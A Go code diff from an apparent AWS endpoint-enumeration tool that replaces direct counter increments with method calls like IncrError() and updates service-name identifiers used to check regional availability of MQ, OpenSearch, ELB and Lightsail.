@@ -336,7 +336,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -347,7 +347,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
clusterDetails, err := sdk.CachedEKSDescribeCluster(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
//nodeGroups = append(nodeGroups, DescribeCluster.Cluster.)
@@ -373,7 +373,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
nodeGroupDetails, err := sdk.CachedEKSDescribeNodeGroup(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, nodeGroup, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
role = aws.ToString(nodeGroupDetails.NodeRole)
+10 -10
View File
@@ -73,7 +73,7 @@ func (m *ElasticNetworkInterfacesModule) ElasticNetworkInterfaces(outputDirector
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, dataReceiver)
}
@@ -199,7 +199,7 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
privateIPsFilename := filepath.Join(path, "elastic-network-interfaces-PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "elastic-network-interfaces-PublicIPs.txt")
@@ -219,12 +219,12 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
@@ -246,12 +246,12 @@ func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGr
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
m.getDescribeNetworkInterfaces(r, dataReceiver)
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
}
}
@@ -272,7 +272,7 @@ func (m *ElasticNetworkInterfacesModule) getDescribeNetworkInterfaces(region str
// )
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
+138 -138
View File
@@ -280,7 +280,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getLambdaFunctionsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -289,25 +289,25 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getEksClustersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("mq", r)
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getMqBrokersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("es", r)
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getOpenSearchPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -316,20 +316,20 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getGrafanaEndPointsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("elb", r)
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getELBv2ListenersPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getELBListenersPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -338,19 +338,19 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayAPIsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayVIPsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayv2APIsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAPIGatewayv2VIPsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -359,7 +359,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getRdsClustersPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -368,22 +368,22 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getRedshiftEndPointsPerRegion(r, wg, semaphore, dataReceiver)
}
//apprunner is not supported by the aws json so we have to call it in every region
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAppRunnerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
res, err = servicemap.IsServiceInRegion("lightsail", r)
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getLightsailContainerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -394,7 +394,7 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
f := filepath.Join(path, "endpoints-UrlsOnly.txt")
@@ -408,7 +408,7 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(f, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
@@ -425,8 +425,8 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -434,16 +434,16 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var public string
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -455,7 +455,7 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
endpoint := aws.ToString(FunctionDetails.FunctionUrl)
@@ -482,8 +482,8 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -491,15 +491,15 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -511,7 +511,7 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
var endpoint string
@@ -545,8 +545,8 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -554,14 +554,14 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
BrokerSummaries, err := sdk.CachedMQListBrokers(m.MQClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -584,7 +584,7 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
if aws.ToBool(BrokerDetails.PubliclyAccessible) {
@@ -611,8 +611,8 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -620,14 +620,14 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
DomainNames, err := sdk.CachedOpenSearchListDomainNames(m.OpenSearchClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -641,7 +641,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -663,7 +663,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
domainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(m.OpenSearchClient, aws.ToString(m.Caller.Account), r, name)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
if aws.ToBool(domainConfig.AdvancedSecurityOptions.Options.Enabled) {
@@ -697,8 +697,8 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -706,14 +706,14 @@ func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGr
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
ListWorkspaces, err := sdk.CachedGrafanaListWorkspaces(m.GrafanaClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -743,8 +743,8 @@ func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGr
func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -752,16 +752,16 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
awsService := "ELBv2"
LoadBalancers, err := sdk.CachedELBv2DescribeLoadBalancers(m.ELBv2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -787,7 +787,7 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
continue
}
if scheme == "internet-facing" {
@@ -823,8 +823,8 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -832,16 +832,16 @@ func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "ELB"
LoadBalancerDescriptions, err := sdk.CachedELBDescribeLoadBalancers(m.ELBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
var public string
@@ -883,8 +883,8 @@ func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup,
func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -892,16 +892,16 @@ func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGrou
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -914,8 +914,8 @@ func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGrou
func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -923,15 +923,15 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -942,7 +942,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, item := range GetDomainNames {
@@ -955,7 +955,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1020,7 +1020,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
GetResources, err := sdk.CachedApiGatewayGetResources(m.APIGatewayClient, aws.ToString(m.Caller.Account), r, id)
@@ -1030,7 +1030,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range GetStages.Item {
@@ -1059,8 +1059,8 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1068,16 +1068,16 @@ func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGr
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
for _, api := range Items {
@@ -1090,8 +1090,8 @@ func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGr
func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1099,15 +1099,15 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -1118,7 +1118,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, item := range GetDomainNames {
@@ -1131,7 +1131,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -1193,7 +1193,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range GetStages {
@@ -1211,7 +1211,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, stage := range stages {
@@ -1246,8 +1246,8 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1255,9 +1255,9 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
@@ -1265,7 +1265,7 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -1300,8 +1300,8 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1309,9 +1309,9 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
awsService := "Redshift"
protocol := "https"
@@ -1323,7 +1323,7 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -1360,8 +1360,8 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
func (m *EndpointsModule) getS3EndpointsPerRegion(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1369,9 +1369,9 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
ListBuckets, _ := m.S3Client.ListBuckets(
@@ -1434,8 +1434,8 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
*/
func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1443,9 +1443,9 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var awsService = "Cloudfront"
@@ -1466,7 +1466,7 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
if ListDistributions.DistributionList.Quantity == nil {
@@ -1546,8 +1546,8 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -1555,15 +1555,15 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
for _, service := range ServiceSummaryList {
@@ -1590,7 +1590,7 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
